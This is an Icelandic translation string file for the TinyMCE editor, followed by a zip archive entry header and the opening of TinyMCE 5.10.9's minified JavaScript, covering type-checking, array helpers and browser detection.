"Horizontal space": "L\u00e1r\u00e9tt bil",
"Border": "Rammi",
"Insert image": "Setja inn mynd",
"Image...": "Mynd...",
"Image list": "Myndalisti",
"Rotate counterclockwise": "Sn\u00faa rangs\u00e6lis",
"Rotate clockwise": "Sn\u00faa r\u00e9tts\u00e6lis",
"Flip vertically": "Sn\u00faa l\u00f3\u00f0r\u00e9tt",
"Flip horizontally": "Sn\u00faa l\u00f3\u00f0r\u00e9tt",
"Edit image": "Breyta mynd",
"Image options": "Valm\u00f6guleikar myndar",
"Zoom in": "\u00deysja inn",
"Zoom out": "\u00deysja \u00fat",
"Crop": "Crop",
"Resize": "Breyta st\u00e6r\u00f0",
"Orientation": "Orientation",
"Brightness": "Birtustig",
"Sharpen": "Skerpa",
"Contrast": "Contrast",
"Color levels": "Litastu\u00f0lar",
"Gamma": "Gamma",
"Invert": "Invert",
"Apply": "Sta\u00f0festa",
"Back": "Til baka",
"Insert date\/time": "Setja inn dagsetningu\/t\u00edma",
"Date\/time": "Dagur\/t\u00edmi",
"Insert\/Edit Link": "Setja inn\/Breyta hlekk",
"Insert\/edit link": "Setja inn\/breyta hlekk",
"Text to display": "Texti til a\u00f0 s\u00fdna",
"Url": "Veffang",
"Open link in...": "Opna hlekk \u00ed...",
"Current window": "N\u00faverandi gluggi",
"None": "Ekkert",
"New window": "N\u00fdr gluggi",
"Remove link": "Fjarl\u00e6gja hlekk",
"Anchors": "Akkeri",
"Link...": "Hlekkur...",
"Paste or type a link": "L\u00edma e\u00f0a sl\u00e1 inn hlekk",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Hlekkurinn sem \u00fe\u00fa rita\u00f0ir inn l\u00fdtur \u00fat fyrir a\u00f0 vera netfang. Viltu b\u00e6ta vi\u00f0 forskeytinu mailto: ?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Hlekkurinn sem \u00fe\u00fa rita\u00f0ir inn l\u00fdtur \u00fat fyrir a\u00f0 vera ytri hlekkur. Viltu b\u00e6ta vi\u00f0 forskeytinu http:\/\/ ?",
"Link list": "Listi hlekkja",
"Insert video": "Setja inn myndband",
"Insert\/edit video": "Setja inn\/fjarl\u00e6gja myndband",
"Insert\/edit media": "Setja inn\/breyta myndefni",
"Alternative source": "Valkv\u00e6\u00f0ur frumk\u00f3\u00f0i",
"Alternative source URL": "Alternative source URL",
"Media poster (Image URL)": "Media poster (mynd URL)",
"Paste your embed code below:": "L\u00edma frumk\u00f3\u00f0a fyrir ne\u00f0an:",
"Embed": "Hengja vi\u00f0",
"Media...": "Media...",
"Nonbreaking space": "Bil sem brotnar ekki",
"Page break": "S\u00ed\u00f0ubrot",
"Paste as text": "L\u00edma sem texta",
"Preview": "Forsko\u00f0un",
"Print...": "Prenta...",
"Save": "Vista",
"Find": "Finna",
"Replace with": "Skipta \u00fat me\u00f0",
"Replace": "Skipta \u00fat",
"Replace all": "Skipta \u00f6llum \u00fat",
"Previous": "Fyrri",
"Next": "N\u00e6sti",
"Find and replace...": "Find and replace...",
"Could not find the specified string.": "Fann ekki umbe\u00f0inn streng.",
"Match case": "Samanbur\u00f0ur",
"Find whole words only": "Finna einungis heil or\u00f0",
"Spell check": "Stafsetning",
"Ignore": "Hunsa",
"Ignore all": "Hunsa allt",
"Finish": "Lj\u00faka",
"Add to Dictionary": "B\u00e6ta vi\u00f0 or\u00f0ab\u00f3k",
"Insert table": "Setja inn t\u00f6flu",
"Table properties": "Stillingar t\u00f6flu",
"Delete table": "Ey\u00f0a t\u00f6flu",
"Cell": "Reitur",
"Row": "R\u00f6\u00f0",
"Column": "D\u00e1lkur",
"Cell properties": "Stillingar reits",
"Merge cells": "Sameina reiti",
"Split cell": "Deila reiti",
"Insert row before": "Setja inn r\u00f6\u00f0 fyrir framan",
"Insert row after": "Setja inn r\u00f6\u00f0 fyrir aftan",
"Delete row": "Ey\u00f0a r\u00f6\u00f0",
"Row properties": "Stillingar ra\u00f0ar",
"Cut row": "Klippa r\u00f6\u00f0",
"Copy row": "Afrita r\u00f6\u00f0",
"Paste row before": "L\u00edma r\u00f6\u00f0 fyrir framan",
"Paste row after": "L\u00edma r\u00f6\u00f0 fyrir aftan",
"Insert column before": "Setja inn d\u00e1lk fyrir framan",
"Insert column after": "Setja inn d\u00e1lk fyrir aftan",
"Delete column": "Ey\u00f0a d\u00e1lki",
"Cols": "D\u00e1lkar",
"Rows": "Ra\u00f0ir",
"Width": "Breidd",
"Height": "H\u00e6\u00f0",
"Cell spacing": "Bil \u00ed reit",
"Cell padding": "R\u00fdmi reits",
"Show caption": "S\u00fdna myndatexta",
"Left": "Vinstri",
"Center": "Mi\u00f0ja",
"Right": "H\u00e6gri",
"Cell type": "Tegund reits",
"Scope": "Gildissvi\u00f0",
"Alignment": "J\u00f6fnun",
"H Align": "L\u00e1r\u00e9tt j\u00f6fnun",
"V Align": "L\u00f3\u00f0r\u00e9tt j\u00f6fnun",
"Top": "Efst",
"Middle": "Mi\u00f0ja",
"Bottom": "Ne\u00f0st",
"Header cell": "Reitarhaus",
"Row group": "H\u00f3pur ra\u00f0ar",
"Column group": "H\u00f3pur d\u00e1lks",
"Row type": "Tegund ra\u00f0ar",
"Header": "Fyrirs\u00f6gn",
"Body": "Innihald",
"Footer": "Ne\u00f0anm\u00e1l",
"Border color": "Litur \u00e1 ramma",
"Insert template...": "Setja inn sni\u00f0m\u00e1t...",
"Templates": "Sni\u00f0m\u00e1t",
"Template": "Sni\u00f0m\u00e1t",
"Text color": "Litur texta",
"Background color": "Bakgrunnslitur",
"Custom...": "S\u00e9rsni\u00f0i\u00f0...",
"Custom color": "S\u00e9rsni\u00f0in litur",
"No color": "Enginn litur",
"Remove color": "Fjarl\u00e6gja lit",
"Table of Contents": "Efnisyfirlit",
"Show blocks": "S\u00fdna kubba",
"Show invisible characters": "S\u00fdna \u00f3s\u00fdnilega stafi",
"Word count": "Or\u00f0afj\u00f6ldi",
"Count": "Fj\u00f6ldi",
"Document": "Skjal",
"Selection": "Val",
"Words": "Or\u00f0",
"Words: {0}": "Or\u00f0:  {0}",
"{0} words": "{0} or\u00f0",
"File": "Skjal",
"Edit": "Breyta",
"Insert": "Setja inn",
"View": "Sko\u00f0a",
"Format": "Sni\u00f0",
"Table": "Tafla",
"Tools": "T\u00f3l",
"Powered by {0}": "Keyrt af {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Textasv\u00e6\u00f0i \u00ed \u00edtarham.  \u00ddttu \u00e1 ALT-F9 fyrir valmynd.  \u00ddttu \u00e1 ALT-F10 fyrir t\u00f3lastiku.  \u00ddttu \u00e1 ALT-0 fyrir a\u00f0sto\u00f0.",
"Image title": "Titill myndar",
"Border width": "Border width",
"Border style": "Border style",
"Error": "Villa",
"Warn": "A\u00f0vara",
"Valid": "Gilt",
"To open the popup, press Shift+Enter": "\u00ddttu \u00e1 Shift+Enter til a\u00f0 opna sprettiglugga",
"Rich Text Area. Press ALT-0 for help.": "Rich Text sv\u00e6\u00f0i. Smelltu \u00e1 Alt-0 fyrir hj\u00e1lp",
"System Font": "Kerfis leturger\u00f0",
"Failed to upload image: {0}": "Gat ekki hala\u00f0 upp mynd: {0}",
"Failed to load plugin: {0} from url {1}": "Gat ekki hla\u00f0i\u00f0 vi\u00f0b\u00f3t: {0} fr\u00e1 urli {1}",
"Failed to load plugin url: {0}": "Gat ekki hla\u00f0i\u00f0 vi\u00f0b\u00f3t url: {0}",
"Failed to initialize plugin: {0}": "Val",
"example": "d\u00e6mi",
"Search": "Leita",
"All": "Allt",
"Currency": "Gjaldmi\u00f0ill",
"Text": "Texti",
"Quotations": "Tilvitnanir",
"Mathematical": "St\u00e6r\u00f0fr\u00e6\u00f0i",
"Extended Latin": "Extended Latin",
"Symbols": "T\u00e1kn",
"Arrows": "\u00d6rvar",
"User Defined": "Stillt af notanda",
"dollar sign": "dollar t\u00e1kn",
"currency sign": "gjaldmi\u00f0ils t\u00e1kn",
"euro-currency sign": "evru-gjaldmi\u00f0ils t\u00e1kn",
"colon sign": "kommu t\u00e1kn",
"cruzeiro sign": "cruzeiro t\u00e1kn",
"french franc sign": "franskur franki t\u00e1kn",
"lira sign": "lira t\u00e1kn",
"mill sign": "mill t\u00e1kn",
"naira sign": "naira t\u00e1kn",
"peseta sign": "peseta t\u00e1kn",
"rupee sign": "rupee t\u00e1kn",
"won sign": "won t\u00e1kn",
"new sheqel sign": "new sheqel t\u00e1kn",
"dong sign": "dong t\u00e1kn",
"kip sign": "kip t\u00e1kn",
"tugrik sign": "tugrik t\u00e1kn",
"drachma sign": "drachma t\u00e1kn",
"german penny symbol": "german penny t\u00e1kn",
"peso sign": "peso t\u00e1kn",
"guarani sign": "guarani t\u00e1kn",
"austral sign": "austral t\u00e1kn",
"hryvnia sign": "hryvnia t\u00e1kn",
"cedi sign": "cedi t\u00e1kn",
"livre tournois sign": "livre tournois t\u00e1kn",
"spesmilo sign": "spesmilo t\u00e1kn",
"tenge sign": "tenge t\u00e1kn",
"indian rupee sign": "indverskt rupee t\u00e1kn",
"turkish lira sign": "tyrknesk l\u00edra t\u00e1kn",
"nordic mark sign": "nordic mark t\u00e1kn",
"manat sign": "manat t\u00e1kn",
"ruble sign": "ruble t\u00e1kn",
"yen character": "yen stafur",
"yuan character": "yuan stafur",
"yuan character, in hong kong and taiwan": "yuan stafur, \u00ed Hong Kong og Ta\u00edvan",
"yen\/yuan character variant one": "yen\/yuan t\u00e1kn afbrig\u00f0i eitt",
"Loading emoticons...": "Hle\u00f0 tilfinningat\u00e1kn...",
"Could not load emoticons": "Gat ekki hla\u00f0i\u00f0 tilfinningat\u00e1kn",
"People": "F\u00f3lk",
"Animals and Nature": "D\u00fdr og n\u00e1tt\u00fara",
"Food and Drink": "Matur og drykkur",
"Activity": "Virkni",
"Travel and Places": "Fer\u00f0al\u00f6g og sta\u00f0ir",
"Objects": "Hlutir",
"Flags": "F\u00e1nar",
"Characters": "Stafabil",
"Characters (no spaces)": "Stafabil (engin bil)",
"{0} characters": "{0} stafabil",
"Error: Form submit field collision.": "Villa: Form submit field collision.",
"Error: No form element found.": "Villa: Ekkert form element fannst.",
"Update": "Uppf\u00e6ra",
"Color swatch": "Litaval",
"Turquoise": "Gr\u00e6nbl\u00e1r",
"Green": "Gr\u00e6nn",
"Blue": "Bl\u00e1r",
"Purple": "Fj\u00f3lubl\u00e1r",
"Navy Blue": "D\u00f6kkbl\u00e1r",
"Dark Turquoise": "D\u00f6kk gr\u00e6nbl\u00e1r",
"Dark Green": "D\u00f6kkgr\u00e6nn",
"Medium Blue": "Mi\u00f0lungs bl\u00e1r",
"Medium Purple": "Mi\u00f0lungs fj\u00f3lubl\u00e1r",
"Midnight Blue": "N\u00e6turbl\u00e1r",
"Yellow": "Gulur",
"Orange": "Appels\u00ednugulur",
"Red": "Rau\u00f0ur",
"Light Gray": "Lj\u00f3sgr\u00e1r",
"Gray": "Gr\u00e1r",
"Dark Yellow": "D\u00f6kkgulur",
"Dark Orange": "D\u00f6kk appels\u00ednugulur",
"Dark Red": "D\u00f6kkrau\u00f0ur",
"Medium Gray": "Mi\u00f0lungs gr\u00e1r",
"Dark Gray": "D\u00f6kkgr\u00e1r",
"Light Green": "Lj\u00f3sgr\u00e6nn",
"Light Yellow": "Lj\u00f3sgulur",
"Light Red": "Lj\u00f3srau\u00f0ur",
"Light Purple": "Lj\u00f3s fj\u00f3lubl\u00e1r",
"Light Blue": "Lj\u00f3sbl\u00e1r",
"Dark Purple": "D\u00f6kk fj\u00f3lubl\u00e1r",
"Dark Blue": "D\u00f6kkbl\u00e1r",
"Black": "Svartur",
"White": "Hv\u00edtur",
"Switch to or from fullscreen mode": "Skipta \u00ed e\u00f0a \u00far fullum skj\u00e1",
"Open help dialog": "Opna hj\u00e1lparkassa",
"history": "saga",
"styles": "st\u00edlar",
"formatting": "formatting",
"alignment": "textastilling",
"indentation": "inndr\u00e1ttur",
"permanent pen": "varanlegur penni",
"comments": "umm\u00e6li",
"Format Painter": "Format Painter",
"Insert\/edit iframe": "Setja inn\/breyta iframe",
"Capitalization": "H\u00e1stafir",
"lowercase": "l\u00e1gstafir",
"UPPERCASE": "H\u00c1STAFIR",
"Title Case": "Title Case",
"Permanent Pen Properties": "Varanlegur penni stillingar",
"Permanent pen properties...": "Varanlegur penni stillingar...",
"Font": "Leturger\u00f0",
"Size": "St\u00e6r\u00f0",
"More...": "Meira...",
"Spellcheck Language": "Stafsetning tungum\u00e1ls",
"Select...": "Velja...",
"Preferences": "Stillingar",
"Yes": "J\u00e1",
"No": "Nei",
"Keyboard Navigation": "Lyklabor\u00f0 Navigation",
"Version": "\u00datg\u00e1fa",
"Anchor": "Akkeri",
"Special character": "S\u00e9rstakir stafir",
"Color": "Litur",
"Emoticons": "Tilfinningar",
"Document properties": "Eigindi skjals",
"Insert link": "Setja inn hlekk",
"Target": "Mi\u00f0",
"Poster": "Plakat",
"Print": "Prenta",
"Whole words": "Heil or\u00f0",
"Find and replace": "Finna og skipta \u00fat",
"Prev": "Fyrri",
"Spellcheck": "Villuleit",
"Caption": "Titill",
"Insert template": "Setja inn sni\u00f0m\u00e1t"
});PK
h�\Uv���!program/js/tinymce/tinymce.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function r(e){if(null===e)return"null";if(void 0===e)return"undefined";var t=typeof e;return"object"==t&&(Array.prototype.isPrototypeOf(e)||e.constructor&&"Array"===e.constructor.name)?"array":"object"==t&&(String.prototype.isPrototypeOf(e)||e.constructor&&"String"===e.constructor.name)?"string":t}function f(o){return m(function(e,t){if(e.length!==t.length)return!1;for(var n=e.length,r=0;r<n;r++)if(!o.eq(e[r],t[r]))return!1;return!0})}function d(l){return m(function(e,t){var n,r,o,i=Object.keys(e),a=Object.keys(t);if(r=f(g),o=function(e){return t=n,Array.prototype.slice.call(e).sort(t);var t},!m(function(e,t){return r.eq(o(e),o(t))}).eq(i,a))return!1;for(var u=i.length,s=0;s<u;s++){var c=i[s];if(!l.eq(e[c],t[c]))return!1}return!0})}function e(r){return function(e){return n=typeof(t=e),(null===t?"null":"object"==n&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"==n&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":n)===r;var t,n}}function t(t){return function(e){return typeof e===t}}function n(t){return function(e){return t===e}}function K(e){return null==e}function V(e){return!K(e)}function te(){}function i(n,r){return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return n(r.apply(null,e))}}function a(t,n){return function(e){return t(n(e))}}function J(e){return function(){return e}}function u(e){return e}function o(e,t){return e===t}var m=function(e){return{eq:e}},g=m(function(e,t){return e===t}),p=m(function(e,t){if(e===t)return!0;var n=r(e);return n===r(t)&&(-1!==["undefined","boolean","number","string","function","xml","null"].indexOf(n)?e===t:"array"===n?f(p).eq(e,t):"object"===n&&d(p).eq(e,t))}),X=e("string"),h=e("object"),S=e("array"),l=n(null),v=t("boolean"),b=n(void 0),y=t("function"),N=t("number");function R(r){for(var o=[],e=1;e<arguments.length;e++)o[e-1]=arguments[e];return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=o.concat(e);return r.apply(null,n)}}function s(t){return function(e){return!t(e)}}function C(e){return e()}function x(e){e()}function c(){return E}var D=J(!1),w=J(!0),E={fold:function(e,t){return e()},isSome:D,isNone:w,getOr:u,getOrThunk:k,getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:J(null),getOrUndefined:J(void 0),or:u,orThunk:k,map:c,each:te,bind:c,exists:D,forall:w,filter:function(){return E},toArray:function(){return[]},toString:J("none()")};function k(e){return e()}function _(e,t){return ye.call(e,t)}function T(e,t){return-1<_(e,t)}function F(e,t){for(var n=0,r=e.length;n<r;n++)if(t(e[n],n))return!0;return!1}function A(e,t){for(var n=e.length,r=new Array(n),o=0;o<n;o++){var i=e[o];r[o]=t(i,o)}return r}function Y(e,t){for(var n=0,r=e.length;n<r;n++)t(e[n],n)}function O(e,t){for(var n=e.length-1;0<=n;n--)t(e[n],n)}function B(e,t){for(var n=[],r=[],o=0,i=e.length;o<i;o++){var a=e[o];(t(a,o)?n:r).push(a)}return{pass:n,fail:r}}function U(e,t){for(var n=[],r=0,o=e.length;r<o;r++){var i=e[r];t(i,r)&&n.push(i)}return n}function P(e,n,r){return O(e,function(e,t){r=n(r,e,t)}),r}function L(e,n,r){return Y(e,function(e,t){r=n(r,e,t)}),r}function I(e,t,n){for(var r=0,o=e.length;r<o;r++){var i=e[r];if(t(i,r))return ve.some(i);if(n(i,r))break}return ve.none()}function M(e,t){return I(e,t,D)}function z(e,t){for(var n=0,r=e.length;n<r;n++)if(t(e[n],n))return ve.some(n);return ve.none()}function H(e,t){return function(e){for(var t=[],n=0,r=e.length;n<r;++n){if(!S(e[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+e);Ce.apply(t,e[n])}return t}(A(e,t))}function j(e,t){for(var n=0,r=e.length;n<r;++n)if(!0!==t(e[n],n))return!1;return!0}function q(e){var t=be.call(e,0);return t.reverse(),t}function $(e,t){return U(e,function(e){return!T(t,e)})}function W(e,t){var n=be.call(e,0);return n.sort(t),n}function G(e,t){return 0<=t&&t<e.length?ve.some(e[t]):ve.none()}function Q(e){return G(e,0)}function Z(e){return G(e,e.length-1)}function ee(e,t){for(var n=0;n<e.length;n++){var r=t(e[n],n);if(r.isSome())return r}return ve.none()}function ne(e,t){for(var n=we(e),r=0,o=n.length;r<o;r++){var i=n[r];t(e[i],i)}}function re(e,n){return Ne(e,function(e,t){return{k:t,v:n(e,t)}})}function oe(n){return function(e,t){n[t]=e}}function ie(e,n,r,o){return ne(e,function(e,t){(n(e,t)?r:o)(e,t)}),1}function ae(e,t){var n={};return ie(e,t,oe(n),te),n}function ue(e,t){return Ee(e,t)?ve.from(e[t]):ve.none()}function se(e,t){return Ee(e,t)&&void 0!==e[t]&&null!==e[t]}function ce(e,t,n){var r,o;if(!e)return!1;if(n=n||e,void 0!==e.length){for(r=0,o=e.length;r<o;r++)if(!1===t.call(n,e[r],r,e))return!1}else for(r in e)if(Ee(e,r)&&!1===t.call(n,e[r],r,e))return!1;return!0}function le(n,r){var o=[];return ce(n,function(e,t){o.push(r(e,t,n))}),o}function fe(n,r){var o=[];return ce(n,function(e,t){r&&!r(e,t,n)||o.push(e)}),o}function de(e,t){if(e)for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1}function me(e,t,n,r){for(var o=b(n)?e[0]:n,i=0;i<e.length;i++)o=t.call(r,o,e[i],i);return o}function ge(e,t,n){for(var r=0,o=e.length;r<o;r++)if(t.call(n,e[r],r,e))return r;return-1}function pe(e){return e[e.length-1]}var he=function(n){function e(){return o}function t(e){return e(n)}var r=J(n),o={fold:function(e,t){return t(n)},isSome:w,isNone:D,getOr:r,getOrThunk:r,getOrDie:r,getOrNull:r,getOrUndefined:r,or:e,orThunk:e,map:function(e){return he(e(n))},each:function(e){e(n)},bind:t,exists:t,forall:t,filter:function(e){return e(n)?o:E},toArray:function(){return[n]},toString:function(){return"some("+n+")"}};return o},ve={some:he,none:c,from:function(e){return null==e?E:he(e)}},be=Array.prototype.slice,ye=Array.prototype.indexOf,Ce=Array.prototype.push,xe=y(Array.from)?Array.from:function(e){return be.call(e)},we=Object.keys,Se=Object.hasOwnProperty,Ne=function(e,r){var o={};return ne(e,function(e,t){var n=r(e,t);o[n.k]=n.v}),o},Ee=function(e,t){return Se.call(e,t)},ke=Array.isArray,_e=function(){return(_e=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)};function Ae(e,t,n){if(n||2===arguments.length)for(var r,o=0,i=t.length;o<i;o++)!r&&o in t||((r=r||Array.prototype.slice.call(t,0,o))[o]=t[o]);return e.concat(r||Array.prototype.slice.call(t))}function Re(n){var r,o=!1;return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return o||(o=!0,r=n.apply(null,e)),r}}function De(e,t){var n=String(t).toLowerCase();return M(e,function(e){return e.search(n)})}function Te(e,t){return-1!==e.indexOf(t)}function Oe(t){return function(e){return e.replace(t,"")}}function Be(e){return 0<e.length}function Pe(e){return!Be(e)}function Le(t){return function(e){return Te(e,t)}}function Ie(e){return window.matchMedia(e).matches}function Me(e){return null==e?"":(""+e).replace(wt,"")}function Fe(e,t){return t?!("array"!==t||!ke(e))||typeof e===t:void 0!==e}function Ue(e,t){for(var n=[],r=function(e){return n.push(e),t(e)},o=t(e);(o=o.bind(r)).isSome(););return n}function ze(e,t){var n=e.dom;if(1!==n.nodeType)return!1;var r=n;if(void 0!==r.matches)return r.matches(t);if(void 0!==r.msMatchesSelector)return r.msMatchesSelector(t);if(void 0!==r.webkitMatchesSelector)return r.webkitMatchesSelector(t);if(void 0!==r.mozMatchesSelector)return r.mozMatchesSelector(t);throw new Error("Browser lacks native selectors")}function He(e){return 1!==e.nodeType&&9!==e.nodeType&&11!==e.nodeType||0===e.childElementCount}function je(e,t){return e.dom===t.dom}function Ve(e,t){return dt().browser.isIE()?(n=e.dom,r=t.dom,o=Node.DOCUMENT_POSITION_CONTAINED_BY,0!=(n.compareDocumentPosition(r)&o)):(i=e.dom)!==(a=t.dom)&&i.contains(a);var n,r,o,i,a}function qe(){return Xe(0,0)}function $e(e){function t(e){return function(){return n===e}}var n=e.current,r=e.version;return{current:n,version:r,isEdge:t("Edge"),isChrome:t("Chrome"),isIE:t("IE"),isOpera:t("Opera"),isFirefox:t(nt),isSafari:t("Safari")}}function We(e){function t(e){return function(){return n===e}}var n=e.current,r=e.version;return{current:n,version:r,isWindows:t(it),isiOS:t("iOS"),isAndroid:t(at),isOSX:t("OSX"),isLinux:t("Linux"),isSolaris:t(ut),isFreeBSD:t(st),isChromeOS:t(ct)}}function Ke(e){if(null==e)throw new Error("Node cannot be null or undefined");return{dom:e}}var Xe=function(e,t){return{major:e,minor:t}},Ye={nu:Xe,detect:function(e,t){var n,r,o=String(t).toLowerCase();return 0===e.length?qe():(r=function(e,t){for(var n=0;n<e.length;n++){var r=e[n];if(r.test(t))return r}}(e,n=o))?Xe(i(1),i(2)):{major:0,minor:0};function i(e){return Number(n.replace(r,"$"+e))}},unknown:qe},Ge=function(e,t){return""===(n=t)||e.length>=n.length&&e.substr(0,0+n.length)===n;var n},Je=Oe(/^\s+|\s+$/g),Qe=Oe(/^\s+/g),Ze=Oe(/\s+$/g),et=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,tt={browsers:J([{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return Te(e,"edge/")&&Te(e,"chrome")&&Te(e,"safari")&&Te(e,"applewebkit")}},{name:"Chrome",brand:"Chromium",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,et],search:function(e){return Te(e,"chrome")&&!Te(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return Te(e,"msie")||Te(e,"trident")}},{name:"Opera",versionRegexes:[et,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:Le("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:Le("firefox")},{name:"Safari",versionRegexes:[et,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return(Te(e,"safari")||Te(e,"mobile/"))&&Te(e,"applewebkit")}}]),oses:J([{name:"Windows",search:Le("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return Te(e,"iphone")||Te(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:Le("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:Le("mac os x"),versionRegexes:[/.*?mac\ os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:Le("linux"),versionRegexes:[]},{name:"Solaris",search:Le("sunos"),versionRegexes:[]},{name:"FreeBSD",search:Le("freebsd"),versionRegexes:[]},{name:"ChromeOS",search:Le("cros"),versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/]}])},nt="Firefox",rt=function(){return $e({current:void 0,version:Ye.unknown()})},ot=$e,it=(J("Edge"),J("Chrome"),J("IE"),J("Opera"),J(nt),J("Safari"),"Windows"),at="Android",ut="Solaris",st="FreeBSD",ct="ChromeOS",lt=function(){return We({current:void 0,version:Ye.unknown()})},ft=We,dt=(J(it),J("iOS"),J(at),J("Linux"),J("OSX"),J(ut),J(st),J(ct),Re(function(){return e=navigator.userAgent,t=ve.from(navigator.userAgentData),n=Ie,p=tt.browsers(),h=tt.oses(),v=t.bind(function(e){return r=p,ee(e.brands,function(t){var n=t.brand.toLowerCase();return M(r,function(e){var t;return n===(null===(t=e.brand)||void 0===t?void 0:t.toLowerCase())}).map(function(e){return{current:e.name,version:Ye.nu(parseInt(t.version,10),0)}})});var r}).orThunk(function(){return De(p,n=e).map(function(e){var t=Ye.detect(e.versionRegexes,n);return{current:e.name,version:t}});var n}).fold(rt,ot),b=De(h,r=e).map(function(e){var t=Ye.detect(e.versionRegexes,r);return{current:e.name,version:t}}).fold(lt,ft),{browser:v,os:b,deviceType:(i=v,a=e,u=n,s=(o=b).isiOS()&&!0===/ipad/i.test(a),c=o.isiOS()&&!s,f=(l=o.isiOS()||o.isAndroid())||u("(pointer:coarse)"),d=s||!c&&l&&u("(min-device-width:768px)"),m=c||l&&!d,g=i.isSafari()&&o.isiOS()&&!1===/safari/i.test(a),{isiPad:J(s),isiPhone:J(c),isTablet:J(d),isPhone:J(m),isTouch:J(f),isAndroid:o.isAndroid,isiOS:o.isiOS,isWebView:J(g),isDesktop:J(!m&&!d&&!g)})};var e,t,n,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,b})),mt=navigator.userAgent,gt=dt(),pt=gt.browser,ht=gt.os,vt=gt.deviceType,bt=/WebKit/.test(mt)&&!pt.isEdge(),yt="FormData"in window&&"FileReader"in window&&"URL"in window&&!!URL.createObjectURL,Ct=-1!==mt.indexOf("Windows Phone"),xt={opera:pt.isOpera(),webkit:bt,ie:!(!pt.isIE()&&!pt.isEdge())&&pt.version.major,gecko:pt.isFirefox(),mac:ht.isOSX()||ht.isiOS(),iOS:vt.isiPad()||vt.isiPhone(),android:ht.isAndroid(),contentEditable:!0,transparentSrc:"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",caretAfter:!0,range:window.getSelection&&"Range"in window,documentMode:pt.isIE()?document.documentMode||7:10,fileApi:yt,ceFalse:!0,cacheSuffix:null,container:null,experimentalShadowDom:!1,canHaveCSP:!pt.isIE(),desktop:vt.isDesktop(),windowsPhone:Ct,browser:{current:pt.current,version:pt.version,isChrome:pt.isChrome,isEdge:pt.isEdge,isFirefox:pt.isFirefox,isIE:pt.isIE,isOpera:pt.isOpera,isSafari:pt.isSafari},os:{current:ht.current,version:ht.version,isAndroid:ht.isAndroid,isChromeOS:ht.isChromeOS,isFreeBSD:ht.isFreeBSD,isiOS:ht.isiOS,isLinux:ht.isLinux,isOSX:ht.isOSX,isSolaris:ht.isSolaris,isWindows:ht.isWindows},deviceType:{isDesktop:vt.isDesktop,isiPad:vt.isiPad,isiPhone:vt.isiPhone,isPhone:vt.isPhone,isTablet:vt.isTablet,isTouch:vt.isTouch,isWebView:vt.isWebView}},wt=/^\s*|\s*$/g,St=function(e,n,r,o){o=o||this,e&&ce(e=r?e[r]:e,function(e,t){return!1!==n.call(o,e,t,r)&&void St(e,n,r,o)})},Nt={trim:Me,isArray:ke,is:Fe,toArray:function(e){if(ke(e))return e;for(var t=[],n=0,r=e.length;n<r;n++)t[n]=e[n];return t},makeMap:function(e,t,n){var r;for(t=t||",",n=n||{},r=(e="string"==typeof(e=e||[])?e.split(t):e).length;r--;)n[e[r]]={};return n},each:ce,map:le,grep:fe,inArray:de,hasOwn:Ee,extend:function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];for(var r=0;r<t.length;r++){var o,i,a=t[r];for(o in a)!Ee(a,o)||void 0!==(i=a[o])&&(e[o]=i)}return e},create:function(e,t,n){var r,o,i,a=this,u=0,s=(e=/^((static) )?([\w.]+)(:([\w.]+))?/.exec(e))[3].match(/(^|\.)(\w+)$/i)[2],c=a.createNS(e[3].replace(/\.\w+$/,""),n);if(!c[s]){if("static"===e[2])return c[s]=t,void(this.onCreate&&this.onCreate(e[2],e[3],c[s]));t[s]||(t[s]=function(){},u=1),c[s]=t[s],a.extend(c[s].prototype,t),e[5]&&(r=a.resolve(e[5]).prototype,o=e[5].match(/\.(\w+)$/i)[1],i=c[s],c[s]=u?function(){return r[o].apply(this,arguments)}:function(){return this.parent=r[o],i.apply(this,arguments)},c[s].prototype[s]=c[s],a.each(r,function(e,t){c[s].prototype[t]=r[t]}),a.each(t,function(e,t){r[t]?c[s].prototype[t]=function(){return 